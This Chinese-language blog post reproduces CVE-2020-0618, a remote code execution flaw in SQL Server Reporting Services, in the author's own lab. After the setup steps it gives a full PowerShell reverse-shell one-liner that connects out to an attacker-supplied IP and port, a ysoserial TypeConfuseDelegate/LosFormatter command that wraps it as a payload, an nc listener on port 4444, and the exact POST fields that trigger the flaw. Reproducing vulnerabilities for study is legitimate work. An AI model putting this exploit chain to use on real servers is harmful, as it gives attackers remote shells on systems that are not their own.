CVE-2020-0618 SQL Server RCE漏洞复现


获得低权限的攻击者向受影响版本的SQL Server的Reporting Services实例发送精心构造的请求,可利用此漏洞在报表服务器服务帐户的上下文中执行任意代码。

影响版本

SQL Server 2012 for 32-bit Systems Service Pack 4 (QFE)

SQL Server 2012 for x64-based Systems Service Pack 4 (QFE)

SQL Server 2014 Service Pack 3 for 32-bit Systems (CU)

SQL Server 2014 Service Pack 3 for 32-bit Systems (GDR)

SQL Server 2014 Service Pack 3 for x64-based Systems (CU)

SQL Server 2014 Service Pack 3 for x64-based Systems (GDR)

SQL Server 2016 for x64-based Systems Service Pack 1

SQL Server 2016 for x64-based Systems Service Pack 2 (CU)

SQL Server 2016 for x64-based Systems Service Pack 2 (GDR)

实验环境

Windows Server 2016,SQL Server 2016 sp2

复现过程

1. 靶机环境配置

下载SQL Server 2016安装包(在MSDN下载,官网已不支持安装),在靶机安装。

打开安装中心后,选择“安装 –> 全新SQL Server独立安装…”。在这里一直下一步,直到“功能选择”。

接着下一步,直到“数据库引擎配置”。

继续下一步,直到安装完成,关闭页面。找到刚刚安装的Reporting Services配置管理器,什么也不需要配置,直接连接。

访问http://localhost/ReportS,创建分页报表,提示需要安装报表服务器,根据提示下载安装。

安装好后再次点击新建分页报表,会打开Report Builder,并自动连接本地服务器。点击“表或矩阵向导”,下一步,新建。这里我不知道具体该如何设置(之前没有使用过SQL Server),网上找到的所有博客基本都是抄袭同一篇的,而被抄袭的这一篇在这一步也跳过了,所以摸索了好久才成功…

我的配置是:

  1. 在刚刚的Reporting Service配置管理器中点击左侧栏的“数据库”,更改数据库,将名称改为localhost,后面以windows方式登录。
  2. 新建表的配置如下:

这样应该是可以正确到达下一步的。在后面,随便选择一个表格,点击下一步,把左侧的变量随便拉到右侧即可。

创建完成后,保存到本地,然后点击左上角的运行,浏览器访问http://localhost/ReportServer/Pages/ReportViewer.aspx,可能需要输入密码,如果能看到这个界面,说明环境已经部署成功了。

2. 生成payload

下载POC编译工具,解压里面的压缩包,然后找到ysoserial.exe,在当前目录下打开powershell,依次输入以下命令:

$command = '$client = New-Object System.Net.Sockets.TCPClient("nc反弹的ip",监听的端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

之后,payload就会自动复制到剪切板,记得及时保存下来。

3. 反弹shell

安装netcat,监听4444端口。

nc -lvvp 4444

打开postman,发送方式为POST,在body中输入以下个键值对(我刚开始没看见第三个,一直没有成功,浪费了很多时间):

  • NavigationCorrector$PageState = NeedsCorrection
  • NavigationCorrector$ViewState= 生成的payload
  • __VIEWSTATE =

然后在Authorization中输入靶机用户名和密码。输入完成后,发送。如果成功的话,就可以看到nc已经收到了反弹shell,成功连接上靶机(也是本机)。


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
 上一篇
CVE-2020-25540 ThinkAdmin漏洞复现 CVE-2020-25540 ThinkAdmin漏洞复现
ThinkAdmin V6版本存在路径遍历漏洞,攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的文件
2020-11-19
下一篇 
CVE-2020-5902 F5-BIGIP漏洞复现 CVE-2020-5902 F5-BIGIP漏洞复现
2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。
2020-10-30
  目录